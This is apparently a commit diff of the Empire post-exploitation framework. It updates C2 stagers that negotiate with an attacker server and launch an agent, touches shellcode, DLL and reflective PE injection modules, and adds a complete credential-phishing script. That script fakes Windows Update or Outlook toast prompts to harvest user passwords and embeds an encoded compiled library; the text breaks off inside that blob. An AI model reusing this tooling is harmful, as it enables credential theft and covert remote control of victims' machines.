6468 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF
6569 }
6670
67 if group in primes.keys():
71 if group in list(primes.keys()):
6872 return primes[group]
6973 else:
7074 print("Error: No prime with group %i. Using default." % group)
+2
-3
data/agent/stagers/common/get_sysinfo.py less more
5252
5353 language = 'python'
5454 cmd = 'ps %s' % (os.getpid())
55 ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
56 out = ps.stdout.read()
55 ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
56 out, err = ps.communicate()
5757 parts = out.split("\n")
58 ps.stdout.close()
5958 if len(parts) > 2:
6059 processName = " ".join(parts[1].split()[4:])
6160 else:
+9
-6
data/agent/stagers/common/rc4.py less more
0 from __future__ import print_function
1 from builtins import chr
2 from builtins import range
03 import os
14 import struct
25
710 }
811
912 LANGUAGE_IDS = {}
10 for name, ID in LANGUAGE.items(): LANGUAGE_IDS[ID] = name
13 for name, ID in list(LANGUAGE.items()): LANGUAGE_IDS[ID] = name
1114
1215 META = {
1316 'NONE' : 0,
1821 'SERVER_RESPONSE' : 5
1922 }
2023 META_IDS = {}
21 for name, ID in META.items(): META_IDS[ID] = name
24 for name, ID in list(META.items()): META_IDS[ID] = name
2225
2326 ADDITIONAL = {}
2427 ADDITIONAL_IDS = {}
25 for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
28 for name, ID in list(ADDITIONAL.items()): ADDITIONAL_IDS[ID] = name
2629
2730 def rc4(key, data):
2831 """
2932 Decrypt/encrypt the passed data using RC4 and the given key.
3033 """
31 S,j,out=range(256),0,[]
34 S,j,out=list(range(256)),0,[]
3235 for i in range(256):
3336 j=(j+S[i]+ord(key[i%len(key)]))%256
3437 S[i],S[j]=S[j],S[i]
101104 return results
102105
103106 else:
104 print "[*] parse_agent_data() data length incorrect: %s" % (len(data))
107 print("[*] parse_agent_data() data length incorrect: %s" % (len(data)))
105108 return None
106109
107110 else:
108 print "[*] parse_agent_data() data is None"
111 print("[*] parse_agent_data() data is None")
109112 return None
110113
111114
+1
-1
data/agent/stagers/dropbox.ps1 less more
5151
5252 # try to ignore all errors
5353 $ErrorActionPreference = "SilentlyContinue";
54 $e=[System.Text.Encoding]::ASCII;
54 $e=[System.Text.Encoding]::UTF8;
5555
5656 $SKB=$e.GetBytes($SK);
5757 # set up the AES/HMAC crypto
+4
-3
data/agent/stagers/http.ps1 less more
00 function Start-Negotiate {
1 param($s,$SK,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
1 param($s,$SK,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',$hop)
22
33 function ConvertTo-RC4ByteStream {
44 Param ($RCK, $In)
5656
5757 # try to ignore all errors
5858 $ErrorActionPreference = "SilentlyContinue";
59 $e=[System.Text.Encoding]::ASCII;
59 $e=[System.Text.Encoding]::UTF8;
6060 $customHeaders = "";
6161 $SKB=$e.GetBytes($SK);
6262 # set up the AES/HMAC crypto
221221 }
222222 }
223223 $wc.Headers.Add("User-Agent",$UA);
224 $wc.Headers.Add("Hop-Name",$hop);
224225
225226 # step 5 of negotiation -> client posts nonce+sysinfo and requests agent
226227 $raw=$wc.UploadData($s+"/index.php","POST",$rc4p2);
238239 Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy;
239240 }
240241 # $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners
241 Start-Negotiate -s "$ser" -SK 'REPLACE_STAGING_KEY' -UA $u;
242 Start-Negotiate -s "$ser" -SK 'REPLACE_STAGING_KEY' -UA $u -hop "$hop";
+1
-1
data/agent/stagers/http_com.ps1 less more
5656
5757 # try to ignore all errors
5858 $ErrorActionPreference = "SilentlyContinue";
59 $e=[System.Text.Encoding]::ASCII;
59 $e=[System.Text.Encoding]::UTF8;
6060 $customHeaders = "";
6161 $SKB=$e.GetBytes($SK);
6262 # set up the AES/HMAC crypto
data/agent/stagers/http_mapi.ps1 less more
Binary diff not shown
+1
-1
data/agent/stagers/onedrive.ps1 less more
5151
5252 # try to ignore all errors
5353 $ErrorActionPreference = "SilentlyContinue";
54 $e=[System.Text.Encoding]::ASCII;
54 $e=[System.Text.Encoding]::UTF8;
5555
5656 $SKB=$e.GetBytes($SK);
5757 # set up the AES/HMAC crypto
+2
-2
data/misc/cSharpTemplateResources/cmd/cmd/Program.cs less more
2626
2727 pipeline.Commands.AddScript(decodedScript);
2828
29 pipeline.Commands.Add("Out-String");
29 pipeline.Commands.Add("Out-Default");
3030 pipeline.Invoke();
3131 }
3232 }
33 }⏎
33 }
+8
-5
data/misc/inactive_modules/redirector.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
1 class Module:
4 class Module(object):
25
36 def __init__(self, mainMenu, params=[]):
47
155158 addAsListener = False
156159 listenerName = False
157160
158 for option,values in self.options.iteritems():
161 for option,values in self.options.items():
159162 if option.lower() == "listener" and values['Value'] != '':
160163 # extract out all options from a listener if one is set
161164 if not self.mainMenu.listeners.is_listener_valid(values['Value']):
162 print helpers.color("[!] Invalid listener set")
165 print(helpers.color("[!] Invalid listener set"))
163166 return ""
164167 else:
165168 listenerName = values['Value']
185188 agent = self.options['Agent']['Value']
186189 port = self.options['ListenPort']['Value']
187190 self.mainMenu.listeners.add_pivot_listener(listenerName, agent, port)
188 print helpers.color("[*] Added pivot listener on port " + str(port))
191 print(helpers.color("[*] Added pivot listener on port " + str(port)))
189192 else:
190 print helpers.color("[!] Listener not set, pivot listener not added.")
193 print(helpers.color("[!] Listener not set, pivot listener not added."))
191194 return ""
192195 if obfuscate:
193196 script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
data/misc/xar-1.6.1.tar.gz less more
Binary diff not shown
+1
-1
data/module_source/code_execution/Invoke-DllInjection.ps1 less more
122122 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
123123 # Get a reference to the GetModuleHandle and GetProcAddress methods
124124 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
125 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
125 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
126126 # Get a handle to the module specified
127127 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
128128 $tmpPtr = New-Object IntPtr
+1
-1
data/module_source/code_execution/Invoke-ReflectivePEInjection.ps1 less more
10371037 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
10381038 # Get a reference to the GetModuleHandle and GetProcAddress methods
10391039 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
1040 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
1040 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
10411041 # Get a handle to the module specified
10421042 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
10431043 $tmpPtr = New-Object IntPtr
+1
-1
data/module_source/code_execution/Invoke-Shellcode.ps1 less more
274274 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
275275 # Get a reference to the GetModuleHandle and GetProcAddress methods
276276 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
277 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
277 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
278278 # Get a handle to the module specified
279279 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
280280 $tmpPtr = New-Object IntPtr
+62
-0
data/module_source/collection/Get-WinUpdates.ps1 less more
0 Function Get-WinUpdates
1 {
2 <#
3 .SYNOPSIS
4 Get-WinUpdates gets a list of Windows and Microsoft Updates installed on the computer.
5
6 .DESCRIPTION
7 Get-WinUpdates gets a list of Windows and Microsoft Updates installed on the computer. Requires administrative level access.
8
9 .PARAMETER ComputerName
10 A description of the ComputerName parameter.
11
12 .EXAMPLE
13 Get-WinUpdates -ComputerName "localhost"
14
15 .EXAMPLE
16 Get-Content computers.txt | Get-WinUpdates | Format-Table PC,Date,Operation,Status,Title,KB,PC -Wrap -auto
17
18 .NOTES
19 Get-WinUpdates gets a list of Windows and Microsoft Updates installed on the computer.
20 Based on Get-InstalledUpdates https://github.com/Kreloc
21 M.Hartsuijker - Classity - Modified to include pending updates
22 #>
23 [CmdletBinding()]
24 Param (
25 [Parameter(position=0,Mandatory = $False,ValueFromPipeline =
26 $true,ValueFromPipelinebyPropertyName=$true)][Alias('Name')]
27 $ComputerName = $env:computername
28 )
29 Begin
30 {
31 function Test-ElevatedShell
32 {
33 $user = [Security.Principal.WindowsIdentity]::GetCurrent()
34 (New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
35 }
36 $admin = Test-ElevatedShell
37 }
38 PROCESS
39 {
40 If($admin)
41 {
42 [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.Update.Session') | Out-Null
43 $Session = [activator]::CreateInstance([type]::GetTypeFromProgID("Microsoft.Update.Session",$ComputerName))
44 $Searcher = $Session.CreateUpdateSearcher()
45 $historyCount = $Searcher.GetTotalHistoryCount()
46 $Searcher.QueryHistory(0, $historyCount) | Select-Object Date,
47 @{name="Operation"; expression={switch($_.operation){
48 1 {"Installation"}; 2 {"Uninstallation"}; 3 {"Other"}}}},
49 @{name="Status"; expression={switch($_.resultcode){
50 0 {"Not started"}; 1 {"In Progress"}; 2 {"Succeeded"}; 3 {"Succeeded With Errors"};
51 4 {"Failed"}; 5 {"Aborted"}
52 }}}, Title,@{name="KB"; expression={($_.title -split "(KB*.*)")[1]}},@{name="PC";expression={$ComputerName}}
53 $Updates = @($Searcher.Search("IsHidden=0 and IsInstalled=0").Updates)
54 $Updates | Select-Object @{name="Date";expression={"Blank"}},@{name="Operation";expression={"Other"}},@{name="Status";expression={"Pending"}},Title,@{name="PC";expression={$ComputerName}}
55 }
56 else
57 {
58 "Please re-load this function in a Run as Administrator PowerShell console."
59 }
60 }
61 }
+618
-0
data/module_source/collection/Invoke-CredentialPhisher.ps1 less more
0
1 # Fox-IT
2 # Written by Rindert Kramer
3
4 ####################
5 #
6 # Copyright (c) 2018 Fox-IT
7
8 # Permission is hereby granted, free of charge, to any person obtaining a copy
9 # of this software and associated documentation files (the "Software"), to deal
10 # in the Software without restriction, including without limitation the rights
11 # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
12 # copies of the Software, and to permit persons to whom the Software is
13 # furnished to do so, subject to the following conditions:
14 #
15 # The above copyright notice and this permission notice shall be included in all
16 # copies or substantial portions of the Software.
17 #
18 # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
19 # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
20 # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
21 # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
22 # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISNG FROM,
23 # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
24 # SOFTWARE.
25 #
26 ####################
27
28 #>
29
30 function Invoke-CredentialPhisher {
31 <#
32 .SYNOPSIS
33
34 Spawns a notification that, if clicked, prompts the user for credentials
35 Author: @foxit
36 License: MIT
37 Required Dependencies: None
38 Optional Dependencies: None
39
40 .DESCRIPTION
41
42 Spawns a native toast notification that, if clicked, prompts the current user
43 to enter their credentials into a native looking window. Notification stays on screen for ~25 seconds.
44 Requires Windows >= 8.1/2012
45
46 .PARAMETER ToastType
47
48 The type of Toast notification ("System" or "Application")
49
50 .PARAMETER Application
51
52 The name of the application to claim launched the prompt (ie. "outlook", "explorer")
53
54 .PARAMETER ToastTitle
55
56 The title of toast notification box
57
58 .PARAMETER ToastMessage
59
60 The message of toast notification box
61
62 .PARAMETER CredBoxTitle
63
64 The title on the box prompting for credentials
65
66 .PARAMETER CredBoxMessage
67
68 The message of the box prompting for credentials
69
70 .PARAMETER VerifyCreds
71
72 Verify the creds a user provides, and prompt them again until they either click cancel or enter valid creds
73
74 .PARAMETER HideProcess
75
76 Hide the window of the process we claim launched the prompt
77
78 .EXAMPLE
79
80 PS C:\> Invoke-CredentialPhisher -ToastTitle "Microsoft Office Outlook" -ToastMessage "Connection to Microsoft Exchange has been lost.`r`nClick here to restore the connection" -Application "Outlook" -CredBoxTitle "Microsoft Outlook" -CredBoxMessage "Enter password for user '{emailaddress|samaccountname}'" -ToastType Application -HideProcesses
81
82 Spawns a notification stating Outlook has lost connectivity for the specific user/email address, hides outlook, and prompts for creds.
83
84 .EXAMPLE
85
86 PS C:\> Invoke-CredentialPhisher -ToastTitle "Updates are available" -ToastMessage "Your computer will restart in 5 minutes to install the updates" -CredBoxTitle "Credentials needed" -CredBoxMessage "Please specify your credentials in order to postpone the updates" -ToastType System -Application "System Configuration"
87
88 Spawns a notification with a drop-down time selection, stating Windows will be restarting in 5 minutes and creds are required to postpone, and prompts for creds.
89
90 .EXAMPLE
91
92 PS C:\> Invoke-CredentialPhisher
93
94 (default) Spawns a notification with a drop-down time selection, stating Windows will be restarting in 5 minutes and creds are required to postpone, and prompts for creds.
95 #>
96
97 [CmdletBinding()]
98 param(
99 [ValidateSet('Application','System')]
100 [string]
101 $ToastType = "System",
102
103 [string]
104 $Application = "System Configuration",
105
106 [string]
107 $ToastTitle = "Windows will restart in 5 minutes to finish installing updates",
108
109 [string]
110 $ToastMessage = "Windows will soon restart to complete applying recently installed updates. Use the drop down below if you would like to reschedule the restart to a later time",
111
112 [string]
113 $CredBoxTitle = "Are you sure you want to reschedule restarting your PC?",
114
115 [string]
116 $CredBoxMessage = "Authentication is required to reschedule a system restart",
117
118 [switch]
119 $VerifyCreds = $false,
120
121 [switch]
122 $HideProcesses = $false
123 )
124
125 #region functions
126 function Set-WindowVisibility ([int32[]]$hWnds, [Phishwin.WindowStates]$windowState) {
127 # thx: https://www.go4expert.com/articles/hiding-windows-c-sharp-t973/
128 foreach ($hWnd in $hWnds) {
129 [void][Phishwin.Window]::ShowWindow($hWnd, $windowState)
130 }
131 }
132
133 function Get-Icon ([string]$processPath, [switch]$returnAsPath){
134
135 # Check if path exists.
136 if (-not (Test-Path $processPath)){
137 return
138 }
139
140 $icon = [System.Drawing.Icon]::ExtractAssociatedIcon($processPath)
141 if (-not $returnAsPath){
142 return $icon
143 }
144
145 # save extracted icon in %appdata% as bitmap to prevent data/image quality loss
146 $savePath = "$([environment]::getfolderpath("LocalApplicationData"))\$(Get-RandomString).bmp"
147 $icon.ToBitmap().Save($savePath);
148
149 #$fs = New-Object -TypeName System.IO.FileStream $savePath, ([System.IO.FileMode]::Create)
150 #$icon.Save($fs)
151 #$fs.Dispose()
152
153 $icon.Dispose()
154 return $savePath
155 }
156
157 function Export-Icon ([string]$file, [int]$index, [int]$iconSize = 64){
158
159 # Windows information icon
160 #$dllPath = 'C:\Windows\system32\imageres.dll'
161 #$index = 76
162
163 #$dllPath = 'C:\Windows\system32\shell32.dll'
164 #$index = 277
165
166 # Windows control panel cog
167 #$dllPath = 'C:\Windows\system32\shell32.dll'
168 #$index = 316
169
170 # guard UAC icon
171 #$dllPath = 'C:\Windows\system32\user32.dll'
172 #$index = 6
173
174 # Windows defender - error shield
175 #$dllPath = 'C:\Program Files\Windows Defender\EppManifest.dll'
176 #$index = 8
177
178 # Windows defender - white shield
179 #$dllPath = 'C:\Program Files\Windows Defender\EppManifest.dll'
180 #$index = 7
181
182 $icon = [Phishwin.IconExtractor]::Extract($file, $index, $true)
183
184 if ($icon -ne $null){
185
186 # Extract successful, convert to bitmap for high quality
187 $bmp = $icon.ToBitmap()
188
189 # icon destination file
190 $savePath = "$([environment]::getfolderpath("LocalApplicationData"))\$(Get-RandomString).bmp"
191
192 # check if icon has correct size
193 if ($icon.width -eq $iconSize){
194 $bmp.Save($savePath)
195 } else {
196 # Resize icon
197 $newbmp = New-Object System.Drawing.Bitmap($iconSize, $iconSize)
198 $graph = [System.Drawing.Graphics]::FromImage($newbmp)
199
200 # Make it transparent
201 $graph.clear([System.Drawing.Color]::Transparent)
202 $graph.DrawImage($bmp,0,0,$iconSize,$iconSize)
203
204 $newbmp.Save($savePath)
205 $newbmp.Dispose()
206 }
207
208 $bmp.Dispose()
209 return $savePath
210 }
211 }
212
213 function Get-RandomString([int]$length = 10){
214 $lcase = 'abcdefghijklmnopqrstuvwxyz'
215 $ucase = $lcase.ToUpper()
216 $combi = ($lcase + $ucase).ToCharArray()
217
218 $sBuilder = New-Object System.Text.StringBuilder
219
220 for ($i = 0; $i -lt $length; $i++){
221 [void]$sBuilder.Append($combi[(Get-Random -Minimum 0 -Maximum ($combi.Length -1))])
222 }
223
224 return $sBuilder.ToString()
225 }
226
227 function Import-PhishWinLib {
228 # thx: https://github.com/rkeithhill/PoshWinRT
229 # We use this library to handle events from the toasts.
230 # I did not get the winmd references to work with add-type, so we reflect the library from base64
231 # The following blob is a b64 representation of the compiled library with some modifications, such as the win32 credentialdialog provider.
232 $libB64 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOaOaVsAAAAAAAAAAOAAIiALATAAACAAAAAGAAAAAAAAxj8AAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHQ/AABPAAAAAEAAAPADAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAA8PgAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAzB8AAAAgAAAAIAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAPADAAAAQAAAAAQAAAAiAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAJgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACoPwAAAAAAAEgAAAACAAUAlCUAAKgYAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAwApAAAAAQAAEQJ7EQAACgoGCwcDKBIAAAp0AQAAGwwCfBEAAAoIBygBAAArCgYHM98qAAAAEzADACkAAAABAAARAnsRAAAKCgYLBwMoFAAACnQBAAAbDAJ8EQAACggHKAEAACsKBgcz3youAAIUFygVAAAKACoAAAATMAMAYQAAAAIAABEAAnsWAAAKFP4BCgYsCQACA30WAAAKAAJ7FwAAChb+AQsHLAkAAgR9FwAACgACexcAAAosCwJ7FgAAChT+AysBFgwILBsAAnsRAAAKJS0DJisNAgJ7FgAACm8YAAAKAAAqAAAAEzACADYAAAADAAARAhR9FgAACgIWfRcAAAoCKBkAAAoAAAMU/gEKBiwLcgEAAHBzGgAACnoCA3QEAAAbfRsAAAoqAAAbMAIAHAAAAAAAAAAAAAIoHAAACgACFigdAAAKAN4IAigOAAAKANwqARAAAAIAAQASEwAIAAAAACoAAhcoHQAACgAqABMwAgArAAAABAAAEQACexsAAAoU/gEKBiwCKxoDCwcsFQACexsAAApvHgAACgACFH0bAAAKACoAEzABABEAAAAFAAARAAJ7GwAACm8fAAAKCisABioiAigZAAAKACoAABMwAwApAAAABgAAEQJ7IAAACgoGCwcDKBIAAAp0AgAAGwwCfCAAAAoIBygCAAArCgYHM98qAAAAEzADACkAAAAGAAARAnsgAAAKCgYLBwMoFAAACnQCAAAbDAJ8IAAACggHKAIAACsKBgcz3yoAAAATMAIAEgAAAAcAABEAAv4GIQAACnMiAAAKCisABioAABMwBgA3AAAACAAAEQADbyMAAAoKBnIfAABwBCgkAAAKbyUAAAoLBwMXjQYAABslFgIoJgAACqJvJwAACiYCDCsACCqGAAJ7IAAACiUtAyYrEwOMBwAAGwMEcygAAApvKQAACgAqAAAAEzAGAD4AAAAJAAARAHMqAAAKCgIoKwAACowrAAABKCMAAApyHwAAcAMoJAAACm8lAAAKAheNCQAAGyUWBqJvJwAACiYGCysAByoAABswBQAmAAAACgAAEQACAxIAEgEXKBgAAAYmAAQtAwcrAQYoLAAACgzeBiYAFAzeAAgqAAABEAAAAAAOABAeAAYPAAABEzADAC4BAAALAAARAAIoLQAACnQgAAABCgYU/gMLBzkOAQAAAAUTBREFLBYABAwGby4AAAoGby8AAApbBFoNACsGAAQlDQwABggJczAAAApzMQAAChMEEQQU/gMTBhEGOcgAAAAAczIAAAoTBxEEEQcoMwAACm80AAAKAANzNQAAChMIAywHEQgU/gMrARYTCREJOZQAAAAAEQgWbzYAAAoAEQgWbzYAAAoAEQgXbzcAAAoAEQgXbzcAAAoAEQgI0m82AAAKABEICdJvNgAACgARCBZvNgAACgARCBZvNgAACgARCBZvNwAACgARCB8gbzcAAAoAEQgRB284AAAKaW85AAAKABEIHxZvOQAACgARCBEHbzoAAApvOwAACgARCG88AAAKABcTCisLABYTCisFFhMKKwARCioAABMwBAAvAAAADAAAEQACGXM9AAAKCgMacz0AAAoLBgcE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